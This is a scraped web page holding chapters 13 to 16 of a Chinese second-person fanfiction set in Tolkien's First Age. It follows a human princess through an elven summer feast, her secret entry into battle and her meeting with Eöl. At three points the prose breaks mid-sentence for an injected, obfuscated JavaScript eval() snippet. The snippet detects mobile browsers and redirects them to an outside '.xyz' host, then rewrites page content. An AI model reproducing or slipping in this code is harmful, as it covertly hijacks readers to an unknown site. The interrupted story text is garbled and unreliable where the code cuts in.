问完这话以后他忐忑不安地等待着你的回答,那双美丽的眼睛时不时因为紧张而眨一下,最后你带着笑意的声音传入他的耳中,你说:“暂时还没有确定,但如果舞伴是你的话,我想我会同意的。” “真的吗?”因为你使用的是虚拟语气,他还需要再向你确认一番。 “是真的,那么接下来你应该能够好好看书了吧?” 吉尔-加拉德却说:“不……我更加没办法专心看书了,实不相瞒,我的心里想的都是宴会的事情。” 你陷入沉默,他们精灵都是这样的吗?一旦坠入爱河就活像个恋爱脑,你说:“你不用想得太多,因为过不了多久就是宴会了。” 既然他都向你提出邀请了,看来这场宴会你是必须要参加了。 因为你答应了吉尔-加拉德的邀请,所以接下来两天这位精灵少年都沉浸在喜悦里,他的喜悦是有目共睹的,就连伊缀尔都有些看不下去了,在夏日宴会当晚,不,准确来说应该是宴会前夕,也就是傍晚时分,她在为你整理礼服腰带的时候忍不住说:“唉,那位纳国斯隆德的小客人真是都要把自己的心思都写在脸上了。” 她不讨厌其他精灵亲近你,只是吉尔-加拉德太过亲近你了,这不免让伊缀尔产生了莫名的危机感,尤其是她听说他还几次三番邀请你日后去纳国斯隆德做客,这就顿时让她警钟大作。 但她又不能表现得太明显,只能碎碎念地说些什么,你等她替你整理好腰带,你这才伸出手抱住她,脑袋靠在她的肩头,在人类的印象里精灵是不喜欢肢体接触的,但这种印象实在是刻板,至少就你接触过的精灵来看,男精灵有所克制,但女精灵十分喜欢与你拥抱,就比如伊缀尔。 你们就这样站在全身镜前相拥,你说:“我拒绝了他,我暂时还不想离开这里,也不想离开你,还有阿瑞蒂尔。” 伊缀尔说:“你应该早些告诉我的,我前些天都在提心吊胆呢,要是你真的去了纳国斯隆德,我就——” “你就什么?” “唉,我就只能去那里看望你了,虽然有些麻烦,但这是唯一的方法。” 你松开手,退出她的怀抱,伊缀尔又说:“但现在听到你这么说,那我就放心了,好了我的伊玟公主,我们快些去赴宴吧。” 和你把话说开了以后的伊缀尔心情大好,哪怕你到了宴会厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789659|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后吉尔-加拉德来到你身边她也只是说:“请好好享受这个夏日宴会吧来自纳国斯隆德的客人。” 专门布置过的宴会厅处处都是夏季特有的花卉,空气中弥漫着花草的清香,宴会厅上方穹顶中心的天窗也被打开,皎洁月光从那扇天窗撒向宴会厅,就如同瓦尔妲女神对伊露维塔的子女的祝福。 偌大的落地窗旁有精灵抚琴而歌,那歌声和琴声完美融合,吉尔-加拉德问道:“请允许我……” 你伸出手,他这才牵起你的手,你当初在多尔罗明的时候就学过跳舞,但因为你体弱多病,所以你学的舞蹈并不多,你的舞蹈老师是个柔和的女性,每当她看到你的脸色不对的时候就会立刻暂停课程,耐心地询问你身体哪里不舒服。 也正是因为那位舞蹈老师的包容,你其实不怎么擅长跳舞,但应付宴会是没什么问题的。 你与吉尔-加拉德走入舞池中央,你借着灯光和星光去寻找他的双眼,却发现他的发型似乎和以往不同,那编发更加精致了,见你一直盯着自己看,他小声说:“这次的编发是我第一次的新尝试。” “很美丽,也很精致。”你丝毫不吝啬于自己的夸奖。 “谢谢。”吉尔-加拉德轻声说。 背景的歌曲曲调变得愈发明快,你们的舞步也随之变得轻快,你转身时荡开的裙摆挨着他的衣摆,你的发丝擦过他的手背,他的动作一开始还有些僵硬,但到后来一曲结束,又是一曲,他至少没有那么紧绷了。 而站在舞池旁的欧洛德瑞斯也笑着对图尔巩说:“他们相处得很融洽。” 但图尔巩的脸上却带着忧愁,他说:“人类终有一天会死去,到那个时候又该如何是好呢?” 欧洛德瑞斯的想法与图尔巩的截然不同,他说:“尽管如此,这也不是逃避的原因,倒不如接受这一既定的事实,然后尽可能地不让自己留下遗憾。” 图尔巩说:“精灵会因为心爱之人的死去而心碎的。” 欧洛德瑞斯笑着说:“那我的回答还是和之前一样。” 欧洛德瑞斯的亲族里的芬罗德是最先发现人类的精灵,同样也是最早意识到人类生命之短暂的精灵,但他却不会因为这样就避免与人类的接触,很多精灵为了避免人类死亡带来的悲伤,都会避开与人类的接触。 芬罗德的想法很不同,他接受人类的死亡,同样也珍惜与人类朋友的相处时光,而欧洛德瑞斯亦或是吉尔-加拉德都继承了这一点。 图尔巩垂下眼帘,他忽然瞥见宴会厅入口的另外一道身影,那是才从边境赶回来的格洛芬德尔,他原本应该早些回来的,但是中途发生了一些事情让他耽误了一些时间,但好在他还是在夏日宴会当天回来了。 他手里还拿着为你准备的礼物,他的笑容在看到舞池中间的你和吉尔-加拉德交叠的身影时僵住。 13.第 13 章 舞曲逐渐进入尾声,你也松开手走向舞池边缘,你瞧见伊缀尔的表情微妙,你便顺着她的目光看去,而后就捕捉到了站在宴会厅门口的格洛芬德尔,感知到你的视线,他这才浅浅地笑了起来,而后向你走来。 “是我来得不巧,正好赶上你在和别的精灵跳舞。”格洛芬德尔笑着说,他的目光旋即落在你身后的吉尔-加拉德身上,后者对他点点头算是打招呼。 你怎么可能没听出格洛芬德尔的阴阳怪气,你说:“今天是夏日宴会。”你想说在宴会上跳舞是再寻常不过的事情了。 格洛芬德尔也意识到自己反应过度了,他收起刚才的语调,“嗯,精灵都会期待夏日宴会的。你的弟弟格林已经安全回到多尔罗明。” 调整好心情,他还不忘向你汇报格林的情况,尽管你对此并不感兴趣,但你很客气地对他说:“辛苦你了。” “并不辛苦,你瞧,我还带了礼物回来。”他所说的礼物是一捧鲜花,还有一小袋的青涩梅子,你从袋子里拿出一颗青梅咬了一口,顿时被酸得直皱眉,格洛芬德尔说:“这青梅很酸,但是很适合泡酒。” “我来到这里以后还没喝过酒。” 格洛芬德尔从你手里拿走那颗被你咬了一口的青梅,“是吗?那我的梅子酒能有幸被你品尝吗?” “那就得要等到时候再说了。”你给出模棱两可的回答,在你和格洛芬德尔交谈的时候吉尔-加拉德也询问一旁的伊缀尔:“他们很熟悉吗?” 伊缀尔说:“他比你先认识的伊玟,你觉得呢?” 闻言,吉尔-加拉德沉默不语,刚才与你共舞的欣喜也逐渐冷却,尤其是在看见你对格洛芬德尔露出笑容的时候,尽管他知道那只是出于礼貌的笑容,可他还是心情微妙。 后来他看见格洛芬德尔放下手里的花束,被你牵着手走向舞池,不同于你们刚才起舞时的生涩,在他看来,你与格洛芬德尔的舞蹈动作配合得当,无论是谁看了都会觉得你们更有默契。 一曲结束,格洛芬德尔还在向你低声道歉,“来得匆忙,我都还没换上赴宴的服装。” 精灵是那么注重自己的形象,你看了一眼他的脸,虽然金发略带凌乱,可他依旧是美丽的,你说:“这丝毫不会影响你的美貌。” 在下一首歌开始前的间隙里整个宴会厅显得有些安静,偶尔会有精灵低声交谈的动静,格洛芬德尔走到欧洛德瑞斯面前,对着他尊敬地俯身行礼,“欢迎您和您的儿子的到来。” 欧洛德瑞斯听图尔巩提起了格洛芬德尔之前的任务,他说:“您前不久才护送贡多之子回到多尔罗明?” “是的。” “这些日子外面并不太平,您这一路一定辛苦了。” 趁着格洛芬德尔和自己的父亲交谈的空档,吉尔-加拉德对你说:“这位格洛芬德尔大人你未曾和我提起过。” 既然你没有特意提到,这是否说明这位精灵对你来说也不算太特殊呢?这才是他真正想要问的。 但你的回答却让吉尔-加拉德的心更加七上八下的了,你说:“我以为你们先前已经见过面了的。” “并没有……我们没有见过面。”他说,“他能早一步认识你,那可真好呀。” 吉尔-加拉德不合时宜地想,如果你当初去的是纳国斯隆德养病就好了,那他就可以在格洛芬德尔之前先一步认识你了。 你听出吉尔-加拉德弦外之音,但你没有多说什么,因为这时候格洛芬德尔也借着打招呼的由头加入你们的对话,你隐约间嗅到了他们之间的硝烟味,你对于男精灵之间的修罗场并不怎么感兴趣,男精灵扯起头花来也和人类差不多,顶多就是稍微优雅一点而已。 “请恕我失陪一会。”你对着他们轻声说道,他们对你来说都是有用的精灵,你可不想夹在他们中间到时候得罪哪一方都不好,所以你见状就找了个借口离开,正好还能去看看莉迪亚。 而等你走后,格洛芬德尔就顺势问起吉尔-加拉德这些天在这里是否还待得习惯,吉尔-加拉德说:“这里就如图尔巩殿下所说的十分美丽,而且这里的精灵热情好客。” “我想不仅是精灵热情好客,就连我们那位人类公主也对您很友善吧?”因为你不在场所以格洛芬德尔的语气在温和的表象下还夹杂了几分锐利。 年轻的精灵吉尔-加拉德哪里见过这架势,但他也没有任何怯意,而是坦然应对:“是的,伊玟公主比传闻中的更加温和友善,只是她不曾向我提到过您,也许可能是她忘了吧。” 听到这里,格洛芬德尔的表情也有些僵硬,伊缀尔出来打圆场,她先是对格洛芬德尔说:“您一路赶回来肯定很疲惫了,不如先回房间休整一番,反正宴会才刚刚开始一时半会也不会结束。”的确,精灵的宴会一般都会持续到半夜,所以格洛芬德尔先回去休整再回来参加宴会是完全可行的。 更何况他在这个宴会上最想见到的人就是你,现下你离开了,他也没什么理由继续待在这里。 于是格洛芬德尔对着伊缀尔点点头,又对图尔巩说:“殿下请允许我先行离开一会。” 图尔巩说:“去吧。” 而另外一边的你从宴会厅出来以后就来到了莉迪亚的房间,她身上的伤好了大半,此刻正在拿着宝剑对着空气挥舞,说起来这把宝剑还是图尔巩赠送给她的,以此来赞扬她的勇气。 那把由精灵打造的宝剑在她手中被挥舞得在空中留下一道道残影,你站在门口看了一会才说:“你的剑术很厉害。” 莉迪亚收起宝剑,对着你俯身行礼,“您过奖了。” “但这样不会影响你养病吗?”你对养病很有心得,没办法,谁让你天生自带病弱debuff呢?这大概就是所谓的久病成良医吧。 “不会,我感觉自己已经好得差不多了,要不了多久我就能重回战场了。”莉迪亚那头自然卷的黑色短发桀骜不羁地翘起来几缕,她又说,“我相信不日我就能去多尔罗明亲自拜访您。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795487|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,那我到时候就会在多尔罗明等待着你,等你带来凯旋的好消息。”你对她露出了真心的笑容。 但你也没忘了自己来这里的真实目的,你说:“实际上我来找你也有一件事情想要对你说。” “请讲。” “你不能告诉任何人,无论谁问起你都不能说。”你关上门,表情严肃认真。 莉迪亚对你点点头,“我保证——” “好吧,你能把外面的战况在地图上标注出来吗?”你拿出一卷地图,还有一支炭笔。 莉迪亚将地图在桌子上摊开,然后把各个地方的战况标注得一清二楚,哪里已经沦陷了,哪里还在严守阵地,哪里正打算派兵支援周围的部落,她都知道得清清楚楚,当她一边在地图上写下这些信息一边向你讲解战局的时候她的双眼亮得惊人。 “这就是我知道的所有信息了。”她把炭笔放下,从始至终她都没有问你为什么要询问这些事情,她只是很自然地就告诉了你,当你迎上她的目光时,他的眼睛在说:我知道你接下来想要做什么。 “谢谢你。” “不用感谢我,我才是应该感谢你才对。” 你重新卷起记录了许多珍贵信息的地图,又问:“你不打算阻止我吗?” “不,你很清楚地知道自己要做什么,这样就足够了。”莉迪亚拍了拍你的肩膀,“就像我母亲对我说的,不要忽略心中的声音,遵循你的内心。” 是的,你接下来要做的事情就是遵从自己的内心,你决定混入精灵的军队尝试在战场上杀敌,这对你来说是前所未有的尝试。 但是如果不迈过这一道坎,你永远无法成为真正的君主,你的计划也只是在纸上谈兵。 你必须要那么做,以此来证明你的决心。 后来你关于那个夏日宴会的记忆变得模糊,你记不清和吉尔-加拉德跳舞的画面,亦或是和格洛芬德尔对话的细节,但你始终记得莉迪亚对你说的话,以及她坐在桌边伏案为你在地图上标注战况的身影。 莉迪亚在几天后就选择向你们告别,她带走了一匹骏马还有一把宝剑,以及一些物资补给,然后就这样上路了,她身后的披风被风吹起。 你长久地注视着她的背影,直到那一道背影消失在森林深处,你这才收回目光,后来吉尔-加拉德和自己的父亲欧洛德瑞斯也要启程返回纳国斯隆德,在临行前吉尔-加拉德特意找到你,你从他眨个不停的眼睛猜出他要对你说些什么话语,于是你先一步问道:“你是有什么话要对我说吗?” 吉尔-加拉德深吸一口气,然后摘下自己的吊坠放到你手里,那条吊坠是星辰的形状,白银质地,但是表面附着有一层微弱的光芒,看起来无比圣洁,他说:“虽然不知我们下次见面是什么时候……但我希望你收下这份礼物。” 后来你才知道的,这条项链是自他出生时母亲赠与他的,与他的名字一样取做星辰的模样。 他这么做就像是将自己送给了你一样。 14.第 14 章 既然他都这么请求你把礼物收下了,那你怎么有拒绝的道理呢?于是你欣然收下这份礼物,最后目送吉尔-加拉德和他的父亲欧洛德瑞斯离开的时候心里想的却是日后你说不定可以凭借这份信物从纳国斯隆德借到支援。 你的手指摩挲戴在脖子上的那条项链,身侧的格洛芬德尔将你的小动作收入眼底,但他并未对你说些什么。 吉尔-加拉德和他的父亲带来的消息使得图尔巩开始考虑派兵清扫周围魔苟斯势力的打算,格洛芬德尔陪你训练的次数也越来越少,从这些细节里你不难推测出在不久之后他们就要派兵出征了,而那个时候也是你混入军队检验自己实力的好机会。 这些天你睡觉前都会用刀油将你的宝剑仔仔细细地保养一遍,在他们出征前的一个晚上,你照例保养完宝剑,锋利的宝剑剑身如同明镜般倒映出你的双眼,这眼神你很熟悉,因为你也在莉迪亚身上见到过,你一手托着剑鞘,一手握着剑柄,轻声说道:“自由和权力都诞生于宝剑之下。” 话音落下,随之接上的是宝剑入鞘的短促声响。 那天晚上你抱着宝剑入眠,睡得意外的踏实,你在天蒙蒙亮的时候醒来,透过窗帘的缝隙望去,窗外是雾蒙蒙的一片,今天的天气不算太好,你走出房间来到阳台,果不其然的,天空都是压抑而沉重的灰黑色,仿佛预示着大战将至。 可你的心情却出奇的平静,你对着天空伸出手,一缕阳光透过厚重云层洒下,恰好穿过你的指缝落在你身上。 你没有去餐厅进餐,你顺便还告诉照顾你的精灵你今天有些疲惫想要在房间里安静看书,因为你之前也有这么做过,所以那个精灵并没有怀疑,外加之今天图尔巩将带领下属出征,所以领地里其他精灵的注意力多多少少也被分散了,这反而有利于你。 你简单地吃了几口兰巴斯就出了门,你的身上穿着不太合身的盔甲,但是这并不妨碍你的脚步轻快而悄无声息,你在隐藏自己的行踪方面有着与生俱来的天赋,就连格洛芬德尔也曾对你说过如果你遇上劲敌无法逃脱,隐藏起来是最适合你的方法了。 而这个天赋现在就被用在了混入精灵军队里,你跟在队伍的最后面,为了不被发现身份你都没有带上自己那匹专属白马,没办法,要是骑着这匹马你的身份一下子就暴露了,而且你目前也不希望它跟着你一块去冒险,因此你选择了混入步兵里。 这次不光是图尔巩派兵,他的父亲芬国昐还有兄长芬巩也都纷纷出兵,看那架势是要将北方的半兽人以及其他黑暗生物一网打尽,虽说军队规模庞大,但是这样也带来了层出不穷的问题,比如调度和指挥的问题,你在他们的几支军队会师后混入芬国昐的军队里,在那里你不太容易被认出来。 在开战前芬国昐在军队前说着鼓舞士气的话语,你紧握着盾牌和宝剑,在一声号角声下,大战开始了,你看到如同潮水般袭来的半兽人军队,以及天空中飞过的巨龙,现场陷入混乱,血腥味还有皮肤被龙焰炙烤后的焦味的混杂成一团,你能感受到自己的心跳加速了,尤其是在砍下第一个半兽人的头颅时,血液从它断裂的横截面飞溅而出。 血腥味是那么明显,可你却没有丝毫的害怕,甚至有几分激动,你握着剑柄的手在颤抖,甚至于你的灵魂都在因兴奋而战栗。 这一刻你彻底从被保护者的角色中跳脱出来,你成了你自己的保护者。 挥剑,再抬起,丑陋的头颅落地;挥剑,刺穿胸膛,搅碎敌人的心脏,这一切是如此的行云流水,你的唇角不由自主地上扬,你的笑容是那么畅快。 你已经数不清自己杀了多少半兽人,起初你还会仔细数一数,可是到后来你逐渐忘记了数字。 精灵大军将半兽人军队打得节节败退,直到一条比所有飞在天空中的龙还要庞大的巨龙赫然出现,它自北方飞来,展开的双翅足以遮天蔽日,它吐出的火焰将大地都炙烤成灰烬,你也不得不选择逃跑,在慌乱中你迷失了方向,你觉得自己应该是在往西边跑,但是后来的事实证明你当时是朝着东面在奔跑。 战场上除了精灵士兵和半兽人在奔跑,一同乱窜的还有形形色色的战马,你路过一匹棕色战马身边时麻利地翻坐到它的背上,嘴里催促着让它快些跑,“跑!跑得快些——!” 精灵培养的战马大多通人性,如今被你一指挥,它便铆足劲朝着前方跑去,你的身后是巨龙格劳龙投下的阴影,龙焰的余热烧灼着你的皮肤,你深吸一口气伏低上半身,压低重心,几乎要将自己的脑袋贴上棕马的脑袋。 马儿也感受到你的焦急,它灵敏地躲开周围的障碍物,一路带着你逃离这个战场,等你们真的离开战场那已经是傍晚时分的事情了,阴沉了许久的天空也终于开始下起雨,当务之急是寻找一处避雨的地方,你摘下头盔,一手拿着头盔一手牵着缰绳,你们就这样穿梭在茂密的森林里。 这里的树木被刚才那场战争吓坏了,用自己特有的语言交谈着。 “刚才我还看到了精灵和半兽人在厮杀,巨龙也飞了出来。” “这场战争又死去了许多精灵,这片土地上早已经浸透了精灵的血液。” “这是谁?一位幸存的精灵士兵吗?” “哦不,那是一个人类,还是一位人类女性。” 那些树木窃窃私语着,你抬手擦去脸上的雨珠,这场雨越来越大了,雨水打湿你的眼睫,模糊你的视野,你对着周围的树木用精灵语说:“请告诉我哪里可以躲雨,求求你们了。” 森林里安静得可怕,除了雨声还是雨声,但是你能够感受到来自树木的观察,过了一会,它们似乎是确认你没有危害这才用枝叶给你指了一条路,但在你走后它们又在谈论个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799829|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停。 “人类女性?她怎么会出现在战场上?” “除了是人类女性,很显而易见的,她还是一位勇士。” 你顺着树木给你指的路来到一处山洞,那里干燥而安静,没有什么别的生物,你走到洞穴里面以后就脱下盔甲,所幸的是里面的衣服没有打湿,因为不确定会不会有半兽人追兵,所以你没有贸然生火,而是借着洞穴外微弱的月光检查自己身上是否存在伤口。 很幸运,除了一些细小的伤口还有擦伤,你没有受太严重的伤,要说你上战场最担心的其实就是受重伤了,因为这种一时半会还死不了,只能痛苦好一阵子才死去。 你用擦去脸上的血污和灰尘,又把自己的头发挤得半干,然后才拿出那把宝剑,上面还残留着半兽人的鲜血,散发着阵阵恶臭,你皱着眉用雨水洗去上面的污渍。 洗干净宝剑,你这才将目光放在那匹棕马身上,你伸手擦去它脸上的水珠,轻轻地对它说:“谢谢你,让我们都活下来了。” 棕马缓慢地眨了一下眼睛,像是在表达对你的喜爱,当天晚上你都没怎么睡觉,一来是为了防止半兽人的偷袭,二来是因为你初次上战场杀敌你激动兴奋的心情到现在都还没有平复下来。 甚至于你一闭上眼睛那战场厮杀的画面就会再次浮现,你倒不觉得这会困扰你,相反地,这给你开了个好头,原来所谓的厮杀也没有那么难,你也可以用宝剑捍卫自己的生命。 这样想来,你一点也不后悔上战场,可是其他精灵,尤其是图尔巩领地里的精灵发现你不见以后可没有你那么心情轻松。 最先发现你不见的是伊缀尔,她本想着与你聊会天,她听照顾你的精灵说你今天都在房间里看书,于是就直接去了你的房间,但是她敲了几次门都没有回应,其实从那个时候开始她就有一种不太好的预感了,而精灵的预感往往都是很准确的,果不其然地,伊缀尔一推开门看见的是空荡荡的房间。 她的第一反应是询问照顾你的精灵,可是对方却说早上的时候你就一直待在房间里。 “你是说她从早上开始就一直待在房间里吗?”伊缀尔思来想去,只有一种可能,那就是你自己制造了这起失踪,可是你又会去哪里呢? 很快地,伊缀尔的疑问就在姑姑阿瑞蒂尔那里得到了解答,阿瑞蒂尔告诉她自己的盔甲不翼而飞了,她们对视一眼,忽然明白了什么。 伊缀尔着急地说:“你是说她偷了你的盔甲然后跟着一块上战场了!?” 阿瑞蒂尔皱着眉,“似乎是这样的。” “但是她为什么要去冒险呢?战场那么危险,她会死在那里的!”伊缀尔惊讶道。 “这是她自己的选择。”阿瑞蒂尔出乎意料地表现得很平静,像是早就预料到了你会那么做,“她不是会一辈子困在宫殿里的人。” 15.第 15 章 “但是倘若她死在战场了,我们又该如何向哈多家族交代呢?”伊缀尔说这话的时候已经做了最坏的打算,那就是你不幸死在战场上,甚至都难以找到你的尸首,而哈多家族当初将你送到精灵的领地就是希望精灵能够好好保护你,如今却因为他们的疏忽使得你丧命。 伊缀尔满脸焦急,她皱着眉,她的脑海里不由自主地浮现出你死去的画面,明明前不久你们还靠在一块,肩膀挨着肩膀说着他人不知晓的悄悄话,她一低头就能看见你柔和的侧影,为什么事情会变成现在这副模样呢? “我要去找她!”伊缀尔坚定地说道,阿瑞蒂尔却摇了摇头,她说:“不行,等你的父亲回来得知你也失踪的消息他又该如何接受呢?” “那我不可能就这样无动于衷……她说不定现在还活着。”伊缀尔说,她因为心神不宁下意识地在房间里来回踱步,“那至少派出精灵去寻找她。” 阿瑞蒂尔说:“这个任务就交给我吧。” 直到送走阿瑞蒂尔,看着她的背影消失在森林里,伊缀尔的内心依旧惴惴不安,她望向阴沉沉的天空,喃喃自语,“伊玟,现在的你究竟身处何方呢?” 被伊缀尔挂念的你现在还待在那片对你来说陌生的森林里,一来是山洞外的雨水还没有要停止的迹象,二来是你可以趁机整理思路,你得要找到精灵的部队,然后跟着一块回去,虽然被他们发现你身为一个人类公主还上战场肯定到时候会被图尔巩还有其他精灵念叨一阵子,但你如果想要靠自己的力量回到精灵领地,那还真是一件难事。 之前你混在精灵军队里还有其他精灵士兵分散敌人的注意力,但你现在落单了,一旦被发现那就是目标非常明确。 所以等到雨停了以后你得要去寻找剩下的精灵军队了,但愿他们还没有走远,你在内心祈祷。 这场雨下了两天两夜,而你也在山洞里待了两天,这两天里你合眼的次数屈指可数,可就在最近一次小憩的时候你的睡梦中出现了一道低哑的声音。 ——伊甸人的公主……传说中维拉赐给人类的珍宝,你真的如同传闻中那样善良吗?你的内心真的那样纯净吗? 这声音充满了恶意与窥探的意味,这个世界都已经存在精灵和巨龙这种生物了,你在睡梦中听到诡异的声音反而显得那么正常。 你是那么平静,甚至于还能在梦中询问那道声音的主人,“那么你呢?听起来你可不像是什么善类。” 对方没有回应,而你也在这时醒来。 滴答、滴答—— 那是山洞口的顶部往下滴水的声音,洞外的雨水终于停止,你也即刻起身,带着棕马穿梭在雨后的森林里,空气中弥漫着泥土被雨水冲刷后的气味,沿途的植物树叶上都带着大颗大颗的水珠,时不时还有水珠从高处的树枝上掉落。 你礼貌地用精灵语询问周围的树木,“请带我去见这附近的精灵吧。” 你的顶级美貌buff甚至能让树木都对你抱有好感,你虽然无法听到它们交谈的声音,但是你不难从它们的举动中看出对你的善意。 古老的树木偏转自己的树枝,纷纷为你指出一条明路,那是它们知道的最近的精灵聚居地。 “谢谢……谢谢你们。”你顺着树木指出的路往前走,一边走一边说着感谢的话语。 你的身影逐渐消失在森林深处,那些树木还纷纷用树枝或是藤蔓掩盖你留下的足迹免得那些丑恶的黑暗生物追上你。 此刻行走在小溪边的你没有意识到自己和那些树木之间的交流存在一个误会,而正是这个误会让你非但没有遇到熟悉的精灵军队,甚至越走越远,你的路线简直就是和精灵军队的路线背道而驰。 与此同时在赶路的人不止你一个,阿瑞蒂尔匆匆奔往战场,她先是遇到了大哥芬巩,她当即说明来意,“伊玟公主失踪了,我们怀疑她跟着军队一同来到了战场上。” 闻言,芬巩心头一惊,“怎么可能,她好端端地为什么要上战场?”在芬巩的印象里你还是当初那个弱不禁风的人类小公主,尽管后来你养好了病,但芬巩始终认为你是需要被保护的一方,而现下妹妹阿瑞蒂尔所说的事情颠覆了他对你的印象。 “你是认真的吗?你确定她真的会来到战场?”芬巩还心存一丝侥幸,“也许她只是暂时藏了起来。” 阿瑞蒂尔叹息一声,“你以为她还是喜欢玩捉迷藏的小女孩吗?不,她现在已经是拥有独立意识的人了,而且我和她相处的时间比你和她接触的时间还要久,显而易见地,我更加了解她。” 见妹妹说得那么斩钉截铁,芬巩也不再浪费时间,他立刻命令手下在战场上以及附近搜寻你的踪迹,将这个命令下达以后他又低声询问阿瑞蒂尔:“这件事情还有谁知道?” “伊缀尔,以及照顾伊玟的精灵,除此之外没有太多的精灵知道。”阿瑞蒂尔拍拍芬巩的手背,“放心,我知道这件事情的严重性,所以让他们不要宣扬。” “只是伊缀尔很担心,她原本都打算自己出来寻找她了,好在被我劝住了。”阿瑞蒂尔说着,她看到另外一个哥哥图尔巩从远处骑马赶来,看他那副十万火急的样子阿瑞蒂尔就意识到他已经得知了你失踪的消息。 果不其然地,他刚刚和兄妹汇合就说:“她怎么会不见了呢?” “是她自己混入了军队。”阿瑞蒂尔说。 图尔巩没有纠结你为什么会想要上战场,当务之急还是先找到你,因为时间拖得越久你存活的可能性就越低。 图尔巩命令手下的格洛芬德尔还有埃克塞理安以及杜伊林等精灵分头行动寻找你,要说这些精灵里最着急的莫过于格洛芬德尔了,他骑着白马飞奔在战场上,精灵的视力很好,他一眼扫过去就能看清周围的情况。 他头一次在心中生出了几分胆怯,如果他真的在战场上找到了你的尸体又该怎么办呢?他无法接受你这样 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周围的森林也透露着隐约的敌意,不同于前面那片树林那么好说话,你尝试着用精灵语与它们沟通,但是无果,它们没有任何反应,微风吹过,湖面上荡开一圈又一圈清浅的涟漪,正当你感到犹豫不决的时候,不远处的森林里传出一道男声,“外来者,你来这里有什么目的?” 你只能听见对方的声音却看不见他的身影,你环视四周,发现他应该是有意隐藏自己的身形,你说:“我是从附近的战场上不小心与部队走散的士兵,请问这里是哪里?” “士兵?你一个人类又为什么穿着精灵的盔甲,而且据我所知这附近的战场,不,如果你是说最近一场战争的话,你与战场早已隔了十万八千里的距离了,你当真是和军队‘走散’了?” 那声音里满是怀疑,但是你敏锐地察觉到他其实对你没什么恶意,因为如果他想的话,他大可以在暗中伏击你,甚至还省了这一段没有任何意义的对话,但是他没有,相反地,他还算是有耐心地询问你的来历,这就说明他很可能会帮助你。 想着,你露出了礼貌的笑容,尽管你现在头发凌乱,样子有些狼狈,可这丝毫不损你的美丽,甚至因为你的笑容,那个藏在暗处的精灵停顿片刻。 “回答我的问题,人类。”他的声音里略带迟疑。 “抱歉,之前是我欺骗了您,我并非士兵,是我瞒着其他精灵自作主张上了战场,现在却又迷路了如果您能帮助我找到大部队,我将万分感谢您。”你说。 过了一会,你终于看到了对方从大树后走出的身影,他的身量高大,五官俊朗,只是眉宇间总是透露着一股阴沉的气息,他说:“是么,那你又该怎么感谢我呢?” 你是后来才知道他的名字,他将你带去他的住所时看似漫不经心地提到自己的名字,他说:“我叫埃欧尔。” 那是与芬国昐为代表的诺多精灵截然不同的精灵,他曾经作为辛葛的亲族生活在多瑞亚斯,后来又移居南埃尔莫斯,正是眼下这片幽深的森林。 16.第 16 章 在他说出自己的名字以后你便也说出自己的名字作为交换,但你告诉他的是通用语名字,而非精灵名。 埃欧尔得知你的名字以后沉默许久,你侧过头去看他的侧影,他和你接触过的精灵很不同,因为换做其他的精灵和你待在一块的时候总会想着法地找一些话题,而不是就这样保持沉默,当然也有一种可能,也许他本身就不喜欢说话,性格沉默寡言。 事实证明你的猜测是正确的,除了必要的时候,例如询问你来这里的目的是什么,他大部分时候都不怎么开口。 你们穿过略带阴森压抑的森林,跟在你身边的棕马也感受到了这股压抑的气氛,它担心地用脑袋去蹭你的手背,似乎是想要提醒你快些离开这里,你又怎么会不知道这个地方看起来不太安全呢? 但是没办法,你现在已经被这个名叫埃欧尔的精灵发现,目前想要逃跑成功的可能性很低,而且你也不想在他的地盘上和他发生冲突。 更重要的一点是,他其实对你没有太多的恶意,这一点从他对你的好感度数值就能看出来。 得益于你的外表,无论是精灵还是人类见到你的初识好感度都不会太低,就连埃欧尔对你的好感度都有35,虽然远低于其他精灵,但至少不是负值,这已经很好了。 你伸出手摸了摸棕马的脑袋安抚它的情绪,埃欧尔这才看了你一眼,“这不是你的马匹吧。” “您又是怎么发现的?”你好奇地问道,在确认他对你没有恶意以后你的姿态逐渐放得轻松,你询问他的语调轻快。 埃欧尔低头注视你,他的身量高大,他的阴影落在你身上,那身影几乎能将你笼罩,他不光是有着一头如墨的长发,就连眼瞳也是纯粹的黑色,像是漂亮的黑曜石,他安静地看着你,虽说他常年居住在这片幽暗的森林里,但是这并不代表他对外界的事情毫无了解。 他是听说过的……在那个精灵的预言里,夜空中最明亮的星辰从天空坠落,而后化作人类的珍宝,那是伊露维塔送给次生儿女的祝福。 在他第一眼看到你的时候,他便确信那则预言是真的,你的身周漂浮着星光,你仅仅只是站在那里,身处这片终年没有日光照耀的森林,周遭的昏暗愈发显示出你的光芒。 